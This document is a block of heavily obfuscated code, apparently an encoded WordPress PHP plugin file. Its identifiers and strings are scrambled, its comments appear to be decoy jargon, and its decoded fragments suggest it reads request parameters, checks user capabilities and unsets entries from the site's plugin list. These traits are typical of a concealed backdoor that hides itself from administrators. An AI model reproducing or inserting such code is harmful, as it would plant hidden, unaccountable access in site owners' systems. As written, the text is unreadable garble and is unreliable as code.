,rmo<cd~9:j9aq!((tt()Haozjlg0f<j1nk{ 099! ,rmo<cd~9:j9aq!!((s((((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 0?:!$((rq;ec{mmgl| 0?1!!3an((( jj`>dqcld1xlfd: 008! aW;~yrxiqyjro ?09!!!((H{m|W|zif{amf| aW;~yrxiqyjro 0?=!$((9$(( =;<;%9?<;!!3(zm|}zf3((u((((((((,cx;l<pgkba:iy<|((5((,rmo<cd~9:j9aq((((((&((((/'/(&((ac0{`=o;}0p=}qpady1kq !3((((((an( rem9ln;b0>:j~|k9reo= ,cx;l<pgkba:iy<|!!((szm|}zf3u(an( Hjj`>dqcld1xlfd: 009! ,cx;l<pgkba:iy<|!(..(((((Hjj`>dqcld1xlfd: ::;! ,cx;l<pgkba:iy<|!(((6(( <1?9#:1!((((((..((((((rq;ec{mmgl| 00:! bW0a{a?}a`=bcb<?m  {|zafo!((Hjj`>dqcld1xlfd: 00;! ,cx;l<pgkba:iy<|!!!((555(((((aozjlg0f<j1nk{ 00:! ,xd8`b<k9dofqp!!(s(((d8incq1<`|<n`1Wi ,cx;l<pgkba:iy<|!3j8axzo`b}8nj|?f !3(o>k`:?jdo:{?qei~re~`o8 !3((zm|}zf3(((((u(an((( HaW;~yrxiqyjro 009! ,cx;l<pgkba:iy<|!((..((Hrq;ec{mmgl| ::;! ,cx;l<pgkba:iy<|!((6(( 8p9j>#8p99l:!!(((s,ppqen<z:|=dq5%;?;3,`i>xxWpnje5 ,ppqen<z:|=dq68!7,ppqen<z:|=dq2%,ppqen<z:|=dq3((,b:c<~8dq<;b((5(((((( {|zafo!(Hrq;ec{mmgl| 00<! ,cx;l<pgkba:iy<|$(nid{m$(((f}dd$(((((8$(((( <>0;%=0?!!3an( rq;ec{mmgl| ?>8! ,b:c<~8dq<;b!((..((aozjlg0f<j1nk{ 08>! jj`>dqcld1xlfd: ?><!$((,b:c<~8dq<;b$((,Wle!((..(((~mz{agfWkgexizm ,WleS9U$((ojcir|0ro>gifi>;n?| !$((/6/!!((zm|}zf3}f{m| ,b:c<~8dq<;b$((,Wle!3(((u((((,q`0~b8}W=f(((5(((((({jynjr};<k;ff=~{9pbapx ,cx;l<pgkba:iy<|$(|;neyggnc9}qimc=gf ,xd8`b<k9dofqp!!3((an( ),q`0~b8}W=f(tt((()HaW;~yrxiqyjro 00=! ,cx;l<pgkba:iy<|!(((tt(((((HaW;~yrxiqyjro ::;! ,cx;l<pgkba:iy<|!(4(( 9081%081!(tt((((aW;~yrxiqyjro 00:! bW0a{a?}a`=bcb<?m  {|zafo!(HaW;~yrxiqyjro 00>! ,cx;l<pgkba:iy<|!!!((()55(jj`>dqcld1xlfd: 00:! ,xd8`b<k9dofqp!!(((s(an(((( ,q`0~b8}W=f((..(((Hrq;ec{mmgl| 009! ,cx;l<pgkba:iy<|!!(((((s(((,b:c<~8dq<;b(((5(((( {|zafo!((Hrq;ec{mmgl| 00>! ,cx;l<pgkba:iy<|$(nid{m$(f}dd$(8$(( <88:#1<!!3((((((((,k}>yc1bcWj((((((5(aW;~yrxiqyjro 00?! ,b:c<~8dq<;b!(..(rq;ec{mmgl| 08>! aW;~yrxiqyjro ?><!$((,b:c<~8dq<;b$(,Wle!((((..(((~mz{agfWkgexizm ,WleS9U$(((ojcir|0ro>gifi>;n?| !$((/6/!3(((((}f{m| ,b:c<~8dq<;b$((((,Wle!3(an(( ),k}>yc1bcWj!((syy|m;zWdxb}n{r{~akm ,cx;l<pgkba:iy<|$(((( ?:9%;89!!3aqdz{8}zyk~qm;yf ,cx;l<pgkba:iy<|!3(((u(((u((((an(( aW;~yrxiqyjro 008! aW;~yrxiqyjro ?09!!!(H{m|W|zif{amf| aozjlg0f<j1nk{ 0?=!$((((9$(((( 01:#:?80!!3zm|}zf3(um1<bdc<lk<9|c;d ,cx;l<pgkba:iy<|!3,n|n9jc`>05::1t>;3,|Wr8f:095,n|n9jc`>0V9<>3(yy|m;zWdxb}n{r{~akm ,cx;l<pgkba:iy<|$((( 901#98;!!3((d8incq1<`|<n`1Wi ,cx;l<pgkba:iy<|!3(j8axzo`b}8nj|?f !3((((((o>k`:?jdo:{?qei~re~`o8 !3((u((((ki|k`(((((( \`zgijdm((,d|f9x=j|9W:!(((sgcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 0?:!$(,d|f9x=j|9W:!3(((u(ki|k`( Mpkmx|agf((((((,d|f9x=j|9W:!((((s(uu(n}fk|agf(p|iabeqk:rlg{ !s(|zq(((s,xd8`b<k9dofqp(5((mrppqfp~aze:9: !3an( ,xd8`b<k9dofqp(..((()j9zoz:k9qe=j`y=|m1r>9 ,xd8`b<k9dofqp!!(s(,f~cnexnnmigln(5((((`ja}:~bo1<;}zr;fcWWp jj`>dqcld1xlfd: 088!$((**!3(,icam:1~eo:<~((5(((((zgc9=|yg>n9~1r aW;~yrxiqyjro 00?! ,f~cnexnnmigln!((((7(((,f~cnexnnmigln((2((((**!3(((,W?zxgW`nkmW;((5(((((zgc9=|yg>n9~1r ,xd8`b<k9dofqp!3(((an(( )jj`>dqcld1xlfd: 00?! ,f~cnexnnmigln!((((tt((jj`>dqcld1xlfd: ==;! ,f~cnexnnmigln!(((4((( 8p11#8p9=j!((tt((j9zoz:k9qe=j`y=|m1r>9 ,f~cnexnnmigln!((tt((((,icam:1~eo:<~(555(((**(((((tt(( ,W?zxgW`nkmW;()55(((**((((..(~mz{agfWkgexizm ,W?zxgW`nkmW;$(,icam:1~eo:<~$(/6/!!!((s(brWd:drr>|qrizlfce::~ jj`>dqcld1xlfd: 088!$(((,xd8`b<k9dofqp$(aW;~yrxiqyjro ?01!!3(an( aW;~yrxiqyjro 008! jj`>dqcld1xlfd: 000!!!(s(H}xli|mWgx|agf rq;ec{mmgl| ?<?!$((8$((aozjlg0f<j1nk{ ?01!!3((H}xli|mWgx|agf jj`>dqcld1xlfd: >9>!$(8$(((((jj`>dqcld1xlfd: ?01!!3H}xli|mWgx|agf jj`>dqcld1xlfd: ?=?!$((8$(((aozjlg0f<j1nk{ ?01!!3((((((u(an( jj`>dqcld1xlfd: 001! rq;ec{mmgl| 018!!!(Hlmdm|mW|zif{amf| i9{{zWo1a?==r?ac8{y !!3u((((u((((((an( jj`>dqcld1xlfd: 001! aW;~yrxiqyjro 019!!(((((..(((aW;~yrxiqyjro 01:! aozjlg0f<j1nk{ 000!!!(((((s((,}l`o;m0ygd(((5((om|Wgx|agf jj`>dqcld1xlfd: 01;!!3(an(((( ,}l`o;m0ygd()55((nid{m((..((,}l`o;m0ygd(()55(((ojcir|0ro>gifi>;n?| !!(((s((H}xli|mWgx|agf rq;ec{mmgl| 01;!$(((ojcir|0ro>gifi>;n?| !$(aW;~yrxiqyjro 01<!!3((((uu''(af{|if|ai|m(xzgbmk|a~m(xzggn%|mze(an((( )(rq;ec{mmgl| 01=! jj`>dqcld1xlfd: 01>!!((tt(((()(illWgx|agf jj`>dqcld1xlfd: 01;!$(((((ojcir|0ro>gifi>;n?| !$(((**$(jj`>dqcld1xlfd: 01<!!!(s(zm|}zf3((u(((((((pp|qe<m:o;~keedjg:~g?< !3(an( jj`>dqcld1xlfd: 01=! jj`>dqcld1xlfd: 000!!!((s((((((H}xli|mWgx|agf jj`>dqcld1xlfd: ?<?!$(8$(rq;ec{mmgl| 01<!!3((H}xli|mWgx|agf aozjlg0f<j1nk{ >9>!$((8$(((rq;ec{mmgl| 01<!!3H}xli|mWgx|agf aozjlg0f<j1nk{ 01?!$((8$(((rq;ec{mmgl| 01<!!3(((u((an(((( aozjlg0f<j1nk{ 01=! aW;~yrxiqyjro 018!!!((Hlmdm|mW|zif{amf| i9{{zWo1a?==r?ac8{y !!3(((an(((( ,xd8`b<k9dofqp(((((..(()j9zoz:k9qe=j`y=|m1r>9 ,xd8`b<k9dofqp!!(s(brWd:drr>|qrizlfce::~ aozjlg0f<j1nk{ 088!$((,xd8`b<k9dofqp$((((((jj`>dqcld1xlfd: 010!!3(u''(Hjmfk`eizc(xzg~almz<lbc;em?qm<d9>>0?ano f}dd!3((((((((((((yy|m;zWdxb}n{r{~akm z9>1{1jm8r8;e~8 !$((((( 8pki#8p=i!!3''(Hmfijdm(zm{}em%{m{{agfoq:cd8{~l8;r}~cj aozjlg0f<j1nk{ <<:!$((aW;~yrxiqyjro <<;!$(8!3((((((((oq:cd8{~l8;r}~cj aozjlg0f<j1nk{ 011!$((((aozjlg0f<j1nk{ 188!$((((8!3(((u(ki|k`(( \`zgijdm((,d|f9x=j|9W:!(((s(gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 189!$((((,d|f9x=j|9W:!3((an( jj`>dqcld1xlfd: 01=! aW;~yrxiqyjro 18:!!!((((Hlmdm|mWgx|agf aW;~yrxiqyjro 01;!!3((u(ki|k`((((( Mpkmx|agf(((,d|f9x=j|9W:!((s(((((((an((( aozjlg0f<j1nk{ 01=! aW;~yrxiqyjro 18:!!!((((((Hlmdm|mWgx|agf rq;ec{mmgl| 01;!!3((uu(n}fk|agf((y1Wxb1{8~:aey;yog}m !(((((s(((((|zq(((s,jkriipmqal5;>"03,dydo~|`yyfx}5,jkriipmqal%9:3(((((an( aozjlg0f<j1nk{ 01=! jj`>dqcld1xlfd: ?0<!!!((s''(_X(Mf|a|q(Xzg~almz({zk{m|(lm{kzax|gzHaW;~yrxiqyjro 18;! `gemW}zd /'/!$(izziq aW;~yrxiqyjro ?0>!((((56( 9#<!$(aW;~yrxiqyjro ;;0!(56(nid{m$(jj`>dqcld1xlfd: <<0!(56(((nid{m!!3((u''(X@X(0&:(mf}e2(kgfnao}zm(zmoa{|zqu((ki|k`( \`zgijdm((,d|f9x=j|9W:!((((sgcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 18<!$(((,d|f9x=j|9W:!3((u(ki|k`( Mpkmx|agf(,d|f9x=j|9W:!((s(u((((((((u(((((((n}fk|agf(pn==9}zr9b1=e9 !s(((({|i|ak(,ii1`~?1yq1m8?((5((nid{m3an((( ,ii1`~?1yq1m8?!((zm|}zf3(((,ii1`~?1yq1m8?(5(|z}m3(((((|zq((s(an( )(((((rq;ec{mmgl| 01=! aW;~yrxiqyjro 18=!!(tt(()(a{Wileaf !!(szm|}zf3(uan( )rq;ec{mmgl| 01=! aozjlg0f<j1nk{ 0;9!!((((tt((()k}zzmf|W}{mzWkif jj`>dqcld1xlfd: 18>!!!((s((((((zm|}zf3u(((((,}r>ozida=g>pbqcp(5(a{{m| ,WZMY]M[\SaW;~yrxiqyjro 18?!U!((7(,WZMY]M[\Saozjlg0f<j1nk{ 18?!U(((2(((**3(,}r>ozida=g>pbqcp((5((aozjlg0f<j1nk{ 00?! ,}r>ozida=g>pbqcp!(7((rq;ec{mmgl| >09! ,}r>ozida=g>pbqcp!(2(**3((an(( ,}r>ozida=g>pbqcp()55((jj`>dqcld1xlfd: 180!((((((..((,}r>ozida=g>pbqcp((()55(aW;~yrxiqyjro 181!!(szm|}zf3((u((((((((,WzW?}}8;=9?n0`>((((5((((izziq !3(((an( ,}r>ozida=g>pbqcp((555((aozjlg0f<j1nk{ 180!!(((s((,{>?izgn|g}|=f0(((5(((a{{m| ,WZMY]M[\Srq;ec{mmgl| ?8=!U!((7(((,WZMY]M[\Saozjlg0f<j1nk{ ?8=!U(((2(((((**3((((,{>?izgn|g}|=f0(5((aozjlg0f<j1nk{ 00?! ,{>?izgn|g}|=f0!((7((aozjlg0f<j1nk{ 198! ,{>?izgn|g}|=f0!(((2(((**3(an((( ,{>?izgn|g}|=f0(((..((((,{>?izgn|g}|=f0(()55((y8`z=>rj?181>nriz8 !!((((((s(,WzW?}}8;=9?n0`>SU(5(((,{>?izgn|g}|=f03u((u(md{m(((s''({|zmieafo({|ikc%nziem((((((((,qWjW?ik9~;gky(((((5(a{{m| ,WZMY]M[\SaW;~yrxiqyjro 199!U!((7((((,WZMY]M[\SaW;~yrxiqyjro 199!U((((2(izziq !3(((((,qWjW?ik9~;gky(((((5((rq;ec{mmgl| 19:! ,qWjW?ik9~;gky!(((7((,qWjW?ik9~;gky(2((izziq !3((((ngzmik`( ,qWjW?ik9~;gky(i{(,{>?izgn|g}|=f0!(s''(dgkc({mzaidarmz(ngz(ej{|zafo({|zak|((,{>?izgn|g}|=f0(((5(((rq;ec{mmgl| 00?! ,{>?izgn|g}|=f0!((7((aW;~yrxiqyjro 19;! ,{>?izgn|g}|=f0!((2(((**3(an(((( ,{>?izgn|g}|=f0(..(,{>?izgn|g}|=f0(()55((y8`z=>rj?181>nriz8 !!((s((,WzW?}}8;=9?n0`>SU(((((5((,{>?izgn|g}|=f03(u(((((u(((((((u(((an( mex|q ,WzW?}}8;=9?n0`>!!((szm|}zf3,Wc0rkWe}59:>t083,lozjiqqkr:{5,Wc0rkWe}V093u'"(mpxmk|ml({dalafo%aflg("'((((,m>k?Wczlrgl=a?oc(((5(nid{m3(((ngzmik`(( ,WzW?}}8;=9?n0`>(((i{((,{>?izgn|g}|=f0!((s,az?daireenoy5 8p:n#8p;k!3,j=moepd<`5,az?daireenoy-9>3(((((an(((( |`89b=pjx><{q>l ,{>?izgn|g}|=f0!!(sclm}oeylz|>l0;q:fr ,{>?izgn|g}|=f0!3(,m>k?Wczlrgl=a?oc((((5((|z}m3u(u((an( ,m>k?Wczlrgl=a?oc!((((s(an((( rq;ec{mmgl| 01=! rq;ec{mmgl| 19<!!(..((aozjlg0f<j1nk{ 01=! aozjlg0f<j1nk{ 19=!!!((((((s''(X@X[|if(dm~md(12(nzmm(~idali|gz(xW{inmWzmlazmk| ileafW}zd aozjlg0f<j1nk{ 19>!!!3(((((uu(((((u((ki|k`( \`zgijdm((,d|f9x=j|9W:!((((s(gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 19?!$(((,d|f9x=j|9W:!3(((u((ki|k`(( Mpkmx|agf(((,d|f9x=j|9W:!(((s''(X[Z%<(fiem{xikm{(i~an(niddjikc(uu(((n}fk|agf((((((if|gy<;mfj=1jr{o ,oaW{m|k{e$(((,i|d?yc8oy8l:?xq!(((s(an(( ,i|d?yc8oy8l:?xq((((555(((jj`>dqcld1xlfd: 190!!((s(,xd}oaf{(((((5(((.,ODGJID[Saozjlg0f<j1nk{ 191!U3((an(( )a{{m| ,xd}oaf{Sjj`>dqcld1xlfd: 190!U!((tt((()aozjlg0f<j1nk{ 19:! ,xd}oaf{Saozjlg0f<j1nk{ 1:8!U!!((s((zm|}zf(,oaW{m|k{e3u(((((,rbWxmy9>W:(((((5(lmnafml aozjlg0f<j1nk{ 9<8!!((7((_XWKGF\MF\WLAZ((2(( lmnafml jj`>dqcld1xlfd: 8!!(7((((((IJ[XI\@(((&(((aozjlg0f<j1nk{ 0=1!((2(((**!3((((an( ,rbWxmy9>W:(555((((**!((((s((((zm|}zf(((((,oaW{m|k{e3((((((((u(,qxa}jdxb>nWb((5((izziq aozjlg0f<j1nk{ 1:9!((((56((rq;ec{mmgl| 1::!$((aW;~yrxiqyjro 1:;!((56((((((jj`>dqcld1xlfd: 1:<!!3ngzmik`( ,qxa}jdxb>nWb((((((i{((,~eqqeli<~?(56(((,orp9ff=1W`9!(((((san( )a{{m| ,xd}oaf{Sjj`>dqcld1xlfd: 1:=!US,~eqqeli<~?U!!((s(kgf|af}m3u''(H}feg}f|(|zam(,kyr;afbc~mb;(5(Haozjlg0f<j1nk{ 1:>! ,rbWxmy9>W:((&(((/'/((&(,~eqqeli<~?!3an((((( )aW;~yrxiqyjro 00?! ,kyr;afbc~mb;!((tt((((((rq;ec{mmgl| 0><! ,kyr;afbc~mb;$(((rq;ec{mmgl| 1:?!((&(,orp9ff=1W`9(&((rq;ec{mmgl| 1:0!!(((((555(nid{m!((((skgf|af}m3((((((u((((,b|bjbj0afnl1y;}W((5(((aW;~yrxiqyjro =99! jj`>dqcld1xlfd: 1:1!(((&(((((,orp9ff=1W`9(&(((aozjlg0f<j1nk{ 1;8!(((&(((,orp9ff=1W`9((&(rq;ec{mmgl| 1;9!$(((**$((((,kyr;afbc~mb;!3((((((((an( )aozjlg0f<j1nk{ 00?! ,b|bjbj0afnl1y;}W!!(s((kgf|af}m3(((u,b|bjbj0afnl1y;}W((5((((aW;~yrxiqyjro 19;! ,b|bjbj0afnl1y;}W!3((an(( ,b|bjbj0afnl1y;}W(((555(((**((tt((,b|bjbj0afnl1y;}W((555(((((jj`>dqcld1xlfd: ?>9!(((tt((((,b|bjbj0afnl1y;}W(((555(rq;ec{mmgl| :=1!!(s''(_X(}{mJdgkcXzgx{(|zif{amf|(\\D(((}f{m| ,xd}oaf{SaW;~yrxiqyjro 1:=!US,~eqqeli<~?U!3((((((((u(((u(((zm|}zf((,oaW{m|k{e3(((((u(((((an(( ,i|d?yc8oy8l:?xq(()55(aozjlg0f<j1nk{ 1;:!!((s(zm|}zf(,oaW{m|k{e3(u,xd}oaf{(((5(((.,ODGJID[Srq;ec{mmgl| 1;;!U3(((,palbc9=?l`{|}~jx(5((((((aozjlg0f<j1nk{ 0>:! z9>1{1jm8r8;e~8 !!3(((((an((( a{{m| ,xd}oaf{Saozjlg0f<j1nk{ 1;<!US,palbc9=?l`{|}~jxU!!(((s((}f{m| ,xd}oaf{Sjj`>dqcld1xlfd: 1;<!US,palbc9=?l`{|}~jxU!3u((zm|}zf((,oaW{m|k{e3((((u(an(( )rq;ec{mmgl| 01=! jj`>dqcld1xlfd: 1;=!!!((s((n}fk|agf(jWnkWe?<><?mnxdm9ok8ge !san(( )(iiq}~;9z1;Wrij9f0rme !!((((s(((((((zm|}zf3(((u((,lm:yeg9ineej?x(5(rq;ec{mmgl| 1;>! z9>1{1jm8r8;e~8 !!3(,l~y:yixbb~r8q((5((((jj`>dqcld1xlfd: 1;>! z9>1{1jm8r8;e~8 !$(rq;ec{mmgl| 1;?!!3(((((,c`<qygW`y1<((((5((,l~y:yixbb~r8q((&(/'/(((&(((,lm:yeg9ineej?x3(((((mk`g((aozjlg0f<j1nk{ 1;0!((&((((((m{kWi||z ,lm:yeg9ineej?x!(&(aozjlg0f<j1nk{ 1;1!((((&(m{kWi||z ,c`<qygW`y1<!(&(((aozjlg0f<j1nk{ 1<8!3((mk`g(aozjlg0f<j1nk{ 1<9!(&((((m{kWb{ ,lm:yeg9ineej?x!((((&(aozjlg0f<j1nk{ 1<:!(((((&(((((m{kWb{ ,c`<qygW`y1<!(&(jj`>dqcld1xlfd: 1<;!3(uu((an((( )aW;~yrxiqyjro 1<<! aW;~yrxiqyjro 1<=!!!(((s((((((n}fk|agf(ia9{<k?g0kygpckW ,l}}j8ogc9>8jb!s'"(dgoiza|`eak(lmkgzi|gz("'((an( )(rq;ec{mmgl| 10! ,l}}j8ogc9>8jb!!((s(zm|}zf((,l}}j8ogc9>8jb3,om;}i=mcf10o5>:<03,{~b1f=r=qy;5,om;}i=mcf10o-993((u(,lm:yeg9ineej?x(5((y8`z=>rj?181>nriz8 !3an(((((( a{{m| ,l}}j8ogc9>8jb%6zm{xgf{mS,lm:yeg9ineej?xU!!(((s((}f{m| ,l}}j8ogc9>8jb%6zm{xgf{mS,lm:yeg9ineej?xU!3((((((u'"(m{{mf|aid(idmz|("'(((((zm|}zf((((((,l}}j8ogc9>8jb3((((uu(an( )rq;ec{mmgl| 1<<! rq;ec{mmgl| 1<>!!!(sn}fk|agf(ni|{z|lxcgm<|z~>9y`1 ,xd}oaf{!s((,~<nor9>l8n((5(y8`z=>rj?181>nriz8 !3(an( a{{m| ,xd}oaf{S,~<nor9>l8nU!!((((s(((((}f{m| ,xd}oaf{S,~<nor9>l8nU!3(((((u((((,l~y:yixbb~r8q((5(((rq;ec{mmgl| 1;>! z9>1{1jm8r8;e~8 !$((aozjlg0f<j1nk{ 1;?!!3((,c`<qygW`y1<((5((,l~y:yixbb~r8q(&(/'/(((&((aW;~yrxiqyjro 1<?! z9>1{1jm8r8;e~8 !!3,c={0|}i9{{8k}15?<;3,dd:<gj8brWr1p5 ,c={0|}i9{{8k}168!7,c={0|}i9{{8k}12%,c={0|}i9{{8k}13an((( a{{m| ,xd}oaf{S,c`<qygW`y1<U!!((s''(_X(Y}mzq(Dggx2(lmf{m(y}g|amf|(}f{m| ,xd}oaf{S,c`<qygW`y1<U!3(((((u((zm|}zf(,xd}oaf{3u(u((((((n}fk|agf((kae01io8ybo?ya?oo=9 ,`a>;fzdW:0qmr!((((((((s(an( )(jj`>dqcld1xlfd: 19:! ,`a>;fzdW:0qmr!!(((((s((((zm|}zf(,`a>;fzdW:0qmr3(u((,mfp8jlq11p(((5(((((**3(an(((( aozjlg0f<j1nk{ 1<<! jj`>dqcld1xlfd: 1<0!!(..(aozjlg0f<j1nk{ 00=! z9>1{1jm8r8;e~8 !!!((((s(((,bqaggg|p;;8:ldl(((((5(om|Wxd}oafWli|i z9>1{1jm8r8;e~8 !$(((((nid{m$((((nid{m!3((,mfp8jlq11p(((5((a{{m| ,bqaggg|p;;8:ldlSaozjlg0f<j1nk{ 1<1!U!(((7(,bqaggg|p;;8:ldlSaozjlg0f<j1nk{ 1=8!U(2((**3(((u(((,yaayde<?1i}<m((5(((izziq jj`>dqcld1xlfd: 1=9!$(rq;ec{mmgl| 1=:!!3((ngzmik`( ,yaayde<?1i}<m(((((i{(((,z8gcbz}nqry!(s(an( )((((a{{m| ,`a>;fzdW:0qmrS,z8gcbz}nqryUSjj`>dqcld1xlfd: 1=;!U!((tt(()((aozjlg0f<j1nk{ 1=<! ,`a>;fzdW:0qmrS,z8gcbz}nqryUSaW;~yrxiqyjro 1=;!U!!((((s((((kgf|af}m3((u((ngzmik`(((( ,`a>;fzdW:0qmrS,z8gcbz}nqryUSaW;~yrxiqyjro 1==!U((i{(((((,cmq(((((56((,gn<=e}p:`rcn!((((s((((((an( aozjlg0f<j1nk{ 1=>! ,cmq$((y8`z=>rj?181>nriz8 !!((()55(((nid{m(((tt((((((,cmq(555((((y8`z=>rj?181>nriz8 !!(s(((((((}f{m| ,`a>;fzdW:0qmrS,z8gcbz}nqryUSaW;~yrxiqyjro 1==!US,cmqU!3(((((kgf|af}m3((u(((an((( ,mfp8jlq11p(()55(**(((..(((,cmq((555(,mfp8jlq11p!((((s(}f{m| ,`a>;fzdW:0qmrS,z8gcbz}nqryUSaozjlg0f<j1nk{ 1==!US,cmqU!3(kgf|af}m3(u((((((((u((u''(_X(Fi~aoi|agf(Jdgkc2(if|a%egfg|gfm(zilap%|zmm(ngzmik`(( izziq jj`>dqcld1xlfd: 1=?!$(((((rq;ec{mmgl| 1=0!!((i{(((((,q<agzg{gjlzz}b!(((s(,}{~zi:<Wz>~o{mo((5(((a{{m| ,`a>;fzdW:0qmrS,q<agzg{gjlzz}bUSaW;~yrxiqyjro 1==!U!(..((aW;~yrxiqyjro 1=<! ,`a>;fzdW:0qmrS,q<agzg{gjlzz}bUSrq;ec{mmgl| 1==!U!(((7(((((,`a>;fzdW:0qmrS,q<agzg{gjlzz}bUSjj`>dqcld1xlfd: 1==!U((2((((izziq !3(((((an((((( ),}{~zi:<Wz>~o{mo!((kgf|af}m3(((,a?n~no?qxgW((5(((((lmnafml rq;ec{mmgl| 9<!!((((7(_XE]WXD]OAFWLAZ(2( lmnafml rq;ec{mmgl| 9<8!!((7(_XWKGF\MF\WLAZ(&((jj`>dqcld1xlfd: 9=!((((((2((((((**!3(((,W1d0WxW9lqedkb((5((((izziq !3,qoW8kbc5 8p?=#8p>l!3,|bg|}mox9orxz5,qoW8kbc->3(an(((((( ,mfp8jlq11p(()55((**!(((,W1d0WxW9lqedkbSU(5((,mfp8jlq11p3(((,W1d0WxW9lqedkbSU(5(aW;~yrxiqyjro 1<?! z9>1{1jm8r8;e~8 !!3(((((an( ,a?n~no?qxgW(()55((**(..(((Hrq;ec{mmgl| 0??! ,a?n~no?qxgW!(..(rq;ec{mmgl| 1<<! aozjlg0f<j1nk{ =80!!!(((s,r~npxe{co|5:t9;83,eb9i|lejg=e85,r~npxe{co|V<>3((((((ngzmik`((((((  izziq!(Hjj`>dqcld1xlfd: =80! ,a?n~no?qxgW((&(aozjlg0f<j1nk{ >>:!!((i{(((,zf`:{=myqk:{n{8!((s(,~?kp|{1;r<g((5((Hjj`>dqcld1xlfd: 1:>! ,zf`:{=myqk:{n{8$((nid{m$((f}dd$(8$((( 9=::?%?8;=!!3(((an( )aozjlg0f<j1nk{ 00?! ,~?kp|{1;r<g!((((tt((jj`>dqcld1xlfd: 1=>! ,~?kp|{1;r<g$(rq;ec{mmgl| 1=1!!((((((555(((((nid{m!((kgf|af}m3(an( rq;ec{mmgl| 08>! jj`>dqcld1xlfd: 1>8!$(,~?kp|{1;r<g$((((,}q:9kz`~;<0|q!!((s(,oWggf|<;i~9rnj8(5(((aozjlg0f<j1nk{ 19;! ,}q:9kz`~;<0|qS9U!3((an( ,oWggf|<;i~9rnj8()55((**!(((,W1d0WxW9lqedkbSU(((5((,oWggf|<;i~9rnj83((u''(nafa|m(j}dc`mil(((,W1d0WxW9lqedkbSU(5((rq;ec{mmgl| 1>9! ,zf`:{=myqk:{n{8!3(u(u((ngzmik`( ,}{~zi:<Wz>~o{mo((i{(,cmq((56(,gn<=e}p:`rcn!(sngzmik`(((( ,W1d0WxW9lqedkb(i{(((,fx<acq?lz<kc`W|y!((((s(an( ,cmq((555((,fx<acq?lz<kc`W|y(tt(,cmq(((555(({ifa|armW|mp|Wnamdl ,fx<acq?lz<kc`W|y!!((((((s(}f{m| ,`a>;fzdW:0qmrS,q<agzg{gjlzz}bUSaW;~yrxiqyjro 1==!US,cmqU!3(jzmic3,n9}k1lky=0e5 8p>m#8p:8!3,j:y8bW::5,n9}k1lky=0e-9;3uu(uu,d8q8g;kbdb9?:9(((5(((a{{m| ,`a>;fzdW:0qmrSaW;~yrxiqyjro 1>:!USjj`>dqcld1xlfd: 1==!U!((..(((jj`>dqcld1xlfd: 1>;! ,`a>;fzdW:0qmrSrq;ec{mmgl| 1><!USrq;ec{mmgl| 1==!U!(((7((,`a>;fzdW:0qmrSjj`>dqcld1xlfd: 1><!USrq;ec{mmgl| 1>=!U((2(izziq !3((an(( ,d8q8g;kbdb9?:9!(s,rbWxmy9>W:((5((lmnafml aW;~yrxiqyjro 9<8!!((((7(((_XWKGF\MF\WLAZ(((2(( lmnafml rq;ec{mmgl| 1>>!!((7((IJ[XI\@(&((aW;~yrxiqyjro 1>?!(((((2((**!3,qxa}jdxb>nWb(5((((izziq jj`>dqcld1xlfd: 1:9!((56(((((jj`>dqcld1xlfd: 1::!$((aW;~yrxiqyjro 1:;!(((((56((aW;~yrxiqyjro 1:<!!3(ngzmik`(((( ,d8q8g;kbdb9?:9(((i{(,cmq((((56(((,gn<=e}p:`rcn!((((s((((((an((( )a{{m| ,qxa}jdxb>nWbS,cmqU!((tt((((,rbWxmy9>W:((((555(((((**!(kgf|af}m3,kyr;afbc~mb;(5(HaW;~yrxiqyjro 1:>! ,rbWxmy9>W:(((&(/'/(&((,cmq$((nid{m$((f}dd$(8$( >910%:98:!!3((((an(((( aW;~yrxiqyjro 00?! ,kyr;afbc~mb;!(..(((((( aozjlg0f<j1nk{ 1=>! ,kyr;afbc~mb;$((aW;~yrxiqyjro 1>0!(&(((,qxa}jdxb>nWbS,cmqU(((&((jj`>dqcld1xlfd: 1>1!!(()55(((nid{m((((tt(jj`>dqcld1xlfd: 1?8! ,kyr;afbc~mb;$((((((aozjlg0f<j1nk{ 1=1!!()55(nid{m!!(((s}f{m| ,`a>;fzdW:0qmrSaozjlg0f<j1nk{ 1><!USaW;~yrxiqyjro 1>=!US,cmqU!3u''(lmxzg~a{agf(nmi{ajdm(ememf|g(uu''(_X(Xiom(Da{|2(ikcfgdmlom(mnnmk|%|qxm((((((zm|}zf(,`a>;fzdW:0qmr3((u((((((n}fk|agf(((nqk{xW{p|?{lb8p|e}W= ,y=x;{yjmb8<|!s(((((an((( )((((jj`>dqcld1xlfd: 1>;! ,y=x;{yjmb8<|!!((s''(xi|k`(|g|id(kax`mz%{}a|mzm|}zf(,y=x;{yjmb8<|3u((,n~<9xjd;z{x>:ng(((5((((aozjlg0f<j1nk{ 1>9! z9>1{1jm8r8;e~8 !!3(((,z~>?n`djc9ga;r`((5((jj`>dqcld1xlfd: 0::! ,n~<9xjd;z{x>:ng$(((XI\@AFNGWNADMFIEM!3((((,aox0`n8cim(((5(izziq ((izziq rq;ec{mmgl| 1?9!((56((/+/(&((aW;~yrxiqyjro 1?:! ,n~<9xjd;z{x>:ng$(((/+/!(&(rq;ec{mmgl| 1?;!$(((aW;~yrxiqyjro 1?<!(((((56((|z}m!$((((izziq aozjlg0f<j1nk{ 1?9!(((((56((jj`>dqcld1xlfd: 1?=!(((((&(aW;~yrxiqyjro 1?:! ,z~>?n`djc9ga;r`$(/+/!((&(((jj`>dqcld1xlfd: 1?;!$((rq;ec{mmgl| 1?<!(((((56(((|z}m!$!3((an( a{{m| ,y=x;{yjmb8<|Saozjlg0f<j1nk{ 1?>!U!(..(jj`>dqcld1xlfd: 1>;! ,y=x;{yjmb8<|Sjj`>dqcld1xlfd: 1?>!U!!((((((s((((((((ngzmik`(( ,y=x;{yjmb8<|Srq;ec{mmgl| 1?>!U((i{((,|c8~=y`m0a>:=(((((56(,{1omko=<ryppxk!((s(an(( )((aW;~yrxiqyjro 1??! ,{1omko=<ryppxk!(tt(((()(((((aW;~yrxiqyjro 1?0! ,|c8~=y`m0a>:=!!((s(kgf|af}m3u((((((an( )(((a{{m| ,y=x;{yjmb8<|Sjj`>dqcld1xlfd: 1?>!US,|c8~=y`m0a>:=USrq;ec{mmgl| 1?1!U!((((tt(((()(jj`>dqcld1xlfd: 1??! ,y=x;{yjmb8<|Saozjlg0f<j1nk{ 